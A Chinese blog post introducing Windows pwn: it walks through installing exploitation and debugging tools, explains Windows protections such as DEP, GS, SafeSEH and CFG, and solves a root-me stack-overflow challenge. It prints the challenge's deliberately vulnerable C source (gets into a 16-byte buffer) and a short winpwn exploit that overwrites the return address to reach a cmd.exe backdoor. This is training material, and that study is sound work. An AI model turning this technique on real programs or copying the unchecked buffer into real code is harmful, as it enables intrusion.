• windows pwn(一)


    前言

    前几天因为看CS shellcode装了一个win10虚拟机,然后正好因为逆向课老师要装一系列工具。于是就想起来之前一直想看的windows pwn,就顺便装了一下相关工具并且入门了一下。

    工具安装

    winpwn

    这个和pwntools差不多,不过可以让我们本地跑windows的程序(pwntools只可以本地跑linux的)。可以通过以下命令安装:

    • pip3 install winpwn
    • pip3 install pefile
    • pip3 install keystone-engine
    • pip3 install install capstone

    安装完成之后可以通过from winpwn import *来检查一下,如果不报错那么即代表安装好了。

    checksec

    用来检查程序的保护机制是否开启。通过如下链接即可从github上下载到一个现成的。

    https://github.com/Wenzel/checksec.py/releases/download/v0.6.2/checksec.exe

    windbg

    用来对程序进行调试。我推荐直接在Microsof store里下载windbg preview。(不过笔者由于操作不当,竟然把这玩意强行粉碎了,并且还没找到办法重新下载一个)于是笔者就随便找了一个windbg用了一下。

    win_server

    EX师傅写的,用来把程序映射到某个端口,方便我们的调试。项目地址如下:

    https://github.com/Ex-Origin/win_server.git

    保护机制

    windows下的保护机制感觉比linux下多很多。

    1、NX:(在windows下应该是DEP,可能是我这个checksec不标准)。表示堆栈不可执行。

    2、Canary:(在windows下应该是GS,可能是我这个checksec不标准)。用来检测缓冲区溢出,与linux下的canary一样。

    3、ASLR:地址随机化,使得exe,dll的地址不固定。

    4、Dynamic Base:程序编译时可通过/DYNAMICBASE编译选项指示程序是否利用ASLR的功能。

    5、High Entropy VA:我也不是很理解(也许是使得随机化程度更高?

    6、SEH:结构化异常处理(Structured Exception Handling,简称 SEH)是一种Windows操作系统对错误或异常提供的处理技术。为Windows的程序设计者提供了程序错误或异常的处理途径,使得系统更加健壮。

    7、SafeSEH:为了防止攻击者通过覆盖堆栈上的异常处理函数句柄,从而控制程序执行流程的攻击,在调用异常处理函数之前,对要调用的异常处理函数进行一系列的有效性校验,如果发现异常处理函数不可靠,立即终止异常处理函数的调用。

    8、Force Integrity:强制签名保护。

    9、Control Flow Guard:控制Flow防护 (CFG) 是一项高度优化的平台安全功能,旨在打击内存损坏漏洞。 通过严格限制应用程序可以从何处执行代码,利用漏洞(如缓冲区溢出)执行任意代码会更加困难。

    10、Isolation:隔离保护,默认会开启。

    11、Authenticode:签名保护。

    例题

    这里我们拿root-me PE32 - Stack buffer overflow basic来练手。

    程序只开了DEP和SEH,并且程序的源代码已经给我们了,如下:

    #include 
    #include 
    #include 
    #include 
    
    #define DEFAULT_LEN 16
    
    void admin_shell(void)
    {
    	system("C:\\Windows\\system32\\cmd.exe");
    }
    
    int main(void)
    {
    	char buff[DEFAULT_LEN] = {0};
    	int i;
    	
    	gets(buff);
    	for (i = 0; i < DEFAULT_LEN; i++) {
    		buff[i] = toupper(buff[i]);
    	}
    	printf("%s\n", buff);
    }
    

    那么就是一个很明显的缓冲区溢出,并且还给了我们后门函数,直接用winpwnexp即可。

    from winpwn import *
    
    context.log_level='debug'
    context.arch='i386'
    
    r = process('./ch72.exe')
    
    payload  = 'a' * (0x14 + 4)
    payload += p32(0x401000)
    r.sendline(payload)
    sleep(1)
    r.sendline('calc')
    
    r.interactive()
    

    调试方法

    windows pwn的调试方法很多,这里我就介绍一种,借助Ex师傅的win server进行调试。

    首先用win server把我们要调试的程序映射到某一端口上,如下:

    接着用pwntools发包使得程序得以运行,此时我们就可以通过windbg attach 上去,愉快地调试了。

    同时可以通过这个工具(https://learn.microsoft.com/zh-cn/sysinternals/downloads/vmmap)查看程序的内存分布

    参考链接

    https://www.z1r0.top/2022/11/23/win-pwn初探(一)/#安装winpwn
    https://www.z1r0.top/2022/11/30/win-pwn初探(二)/#利用pwntools编写exp
    https://xuanxuanblingbling.github.io/ctf/pwn/2020/07/09/winpwn/


    __EOF__

  • 本文作者: 狒猩橙
  • 本文链接: https://www.cnblogs.com/pwnfeifei/p/17162374.html
  • 关于博主: 评论和私信会在第一时间回复。或者直接私信我。
  • 版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
  • 声援博主: 如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。
  • 相关阅读:
    7.基于SpringBoot3+Security6+JWT实现鉴权机制(一)
    数据结构 | 单链表专题【详解】
    77、SpringBoot----配置和扩展MyBatis
    [第一章 web入门]粗心的小李
    【开源】基于Vue.js的开放实验室管理系统的设计和实现
    力扣 #167.两数之和 II - 输入有序数组 JAVA实现
    学习pytorch12 神经网络-线性层
    “/etc/apt/sources.list.d“和文件/etc/apt/sources.list的不同
    面试题:CSS 怎样实现动画?
    高性能API云原生网关 APISIX安装与配置指南
  • 原文地址:https://www.cnblogs.com/pwnfeifei/p/17162374.html